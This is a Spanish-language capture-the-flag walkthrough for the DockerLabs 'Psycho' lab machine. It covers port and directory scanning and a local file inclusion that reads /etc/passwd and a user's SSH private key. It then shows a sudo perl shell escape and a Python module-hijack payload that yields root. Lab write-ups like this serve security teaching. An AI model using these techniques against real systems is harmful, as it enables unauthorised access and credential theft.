> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/psycho.md).

# Psycho

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Psycho** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Usamos `7z` para extraer los archivos:

```bash
7z x psycho.zip
```

<figure><img src="/files/i9lJjbUdaD4pT2zEBODF" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script (`auto_deploy.sh`) para levantar la máquina en Docker:

```bash
bash auto_deploy.sh psycho.tar
```

<figure><img src="/files/OgoTybMyvilGjvl51jfV" alt=""><figcaption></figcaption></figure>

**Resultado:** La máquina se despliega correctamente con la IP `172.17.0.2`.

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Primero, confirmamos que la máquina responde con `ping`:

```bash
ping -c 1 172.17.0.2
```

El `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="/files/YfXEESBsfpYWZU7uSTau" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido para detectar puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (1-65535).
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--open`: Muestra solo puertos abiertos.
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-vvv`: Máximo nivel de verbosidad (más detalles).
* `-n`: Evita resolución DNS (más rápido).
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/A3mrEU0S5x4TOjJzzjAe" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Realizamos un escaneo detallado para obtener más información de los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="/files/Zn0iHz7GtyZXYBbhL0Fd" alt=""><figcaption></figcaption></figure>

**4. Análisis del Servicio Web:**

Accedemos a `http://172.17.0.2/` y observamos:

* Un mensaje de error: `[!] ERROR [!]`.

**Hipótesis:** Posible recurso no cargado.

<figure><img src="/files/ZpJet0K1sKe58OMBroyQ" alt=""><figcaption></figcaption></figure>

**4.1. Búsqueda de Directorios y Archivos:**

Usamos `gobuster` para descubrir rutas ocultas:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

**Explicación de los parámetros:**

* `dir`: Modo de búsqueda de directorios.
* `-u`: URL objetivo.
* `-w`: Wordlist a usar.
* `-x`: Extensiones a buscar (`php`, `html`).

<figure><img src="/files/DDJlbtSuGAK7iKERVPlm" alt=""><figcaption></figcaption></figure>

**Resultados:**

* `/assets`: Contiene una imagen (`background.jpg`).
* `/index.php`: Página principal.

**4.2. Análisis de la Imagen:**

Descargamos la imagen y revisamos los metadatos con `exiftool`:

```bash
wget http://172.17.0.2/assets/background.jpg
```

```bash
exiftool background.jpg
```

<figure><img src="/files/P6jqdii4p01D418Vv9KC" alt=""><figcaption></figcaption></figure>

**Resultados:** No encontramos información relevante oculta en los metadatos.

**4.3. Descubrimiento del Parámetro Vulnerable:**

Usamos `wfuzz` para encontrar parámetros ocultos:

```bash
wfuzz -c --hh=2596 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/index.php?FUZZ=test"
```

**Explicación de los parámetros:**

* `-c`: Muestra resultados en color.
* `--hh=2596`: Oculta las respuestas con 2596 caracteres (tamaño de la respuesta por defecto).
* `-w`: Wordlist para fuzzing.
* `-u`: Define la URL objetivo.

<figure><img src="/files/ENXkNXq5rDXb2LfLLjXa" alt=""><figcaption></figcaption></figure>

**Resultado:**

* Parámetro `secret`: `http://172.17.0.2/index.php?secret=`.

***

#### **Explotación:**

**1. Lectura Arbitraria de Archivos (LFI):**

El parámetro `secret` permite leer archivos del sistema.

Probamos a ver el contenido del archivo `/etc/passwd` a través de la siguiente URL: `http://172.17.0.2/index.php?secret=/etc/passwd`.

<figure><img src="/files/0gTsK4gJBIVmNcZjoi7H" alt=""><figcaption></figcaption></figure>

**Usuarios encontrados:**

* `luisillo`.
* `vaxei`.

**1.1. Obtención de la Clave SSH Privada de Vaxei:**

Vamos a revisar si podemos acceder a la clave privada SSH del usuario `vaxei` con la siguiente URL en el navegador: `http://172.17.0.2/index.php?secret=/home/vaxei/.ssh/id_rsa`.

<figure><img src="/files/GUIPKhZuP1WDfC0XXfSR" alt=""><figcaption></figcaption></figure>

Como podemos comprobar, podemos ver la clave privada del usuario `vaxei`.

**2. Acceso SSH con la Clave Privada:**

Copiamos la clave privada a un archivo en nuestro equipo local y le asignamos permisos para que solo el creador del archivo pueda leerlo y escribirlo:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/Gx3fkzv9XvLloepiTYNu" alt=""><figcaption></figcaption></figure>

**2.1. Accedemos por SSH:**

```bash
ssh -i id_rsa vaxei@172.17.0.2
```

<figure><img src="/files/uonfPmNZzorvK59FmidD" alt=""><figcaption></figcaption></figure>

Como podemos comprobar, estamos como el usuario `vaxei` dentro de la máquina.

***

#### **Escalada al Usuario Luisillo:**

**1. Verificación de Privilegios Sudo:**

Ejecutamos:

```bash
sudo -l
```

**Resultado:**

```bash
(luisillo) NOPASSWD: /usr/bin/perl
```

<figure><img src="/files/2drDdg4Y3BfNJPUP0p4y" alt=""><figcaption></figcaption></figure>

**Significado:** Podemos ejecutar `perl` como el usuario `luisillo` sin proporcionar contraseña.

**2. Escalada con Perl (GTFOBins):**

[GTFOBins](https://gtfobins.github.io/) es un recurso esencial que recopila técnicas para explotar binarios del sistema. Al buscar "[perl](https://gtfobins.github.io/gtfobins/perl/)", encontramos el siguiente comando para escalar privilegios:

```bash
sudo -u luisillo perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/S4T9C6QLNPZz8HI0F4ng" alt=""><figcaption></figcaption></figure>

***

#### **Escalada a Root:**

**1. Verificación de Privilegios Sudo:**

Como `luisillo`, ejecutamos:

```bash
sudo -l
```

**Resultado:**

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
```

<figure><img src="/files/5pOfAGrIbcnfdU8gCf0Z" alt=""><figcaption></figcaption></figure>

Tenemos permisos para ejecutar el script en Python ubicado en la ruta `/opt/paw.py` como el usuario `root` sin proporcionar contraseña.

**2. Análisis del Script `/opt/paw.py`:**

El script contiene:

```python
import subprocess
subprocess.run(['echo Hello!'], check=True)
```

**Vulnerabilidad:**

* Python busca `subprocess.py` en el directorio actual antes que en librerías del sistema.

**3. Creación de un `subprocess.py` Malicioso:**

Creamos un archivo con:

```python
import os
os.system("/bin/bash")
```

<figure><img src="/files/rFYdr7e1CLjehjz5J5HH" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script con el siguiente comando:

```bash
sudo /usr/bin/python3 /opt/paw.py
```

<figure><img src="/files/uHA93aOLp17fUBRo3krv" alt=""><figcaption></figcaption></figure>

**Resultado:**

* ¡Obtenemos una shell como el usuario `root`!
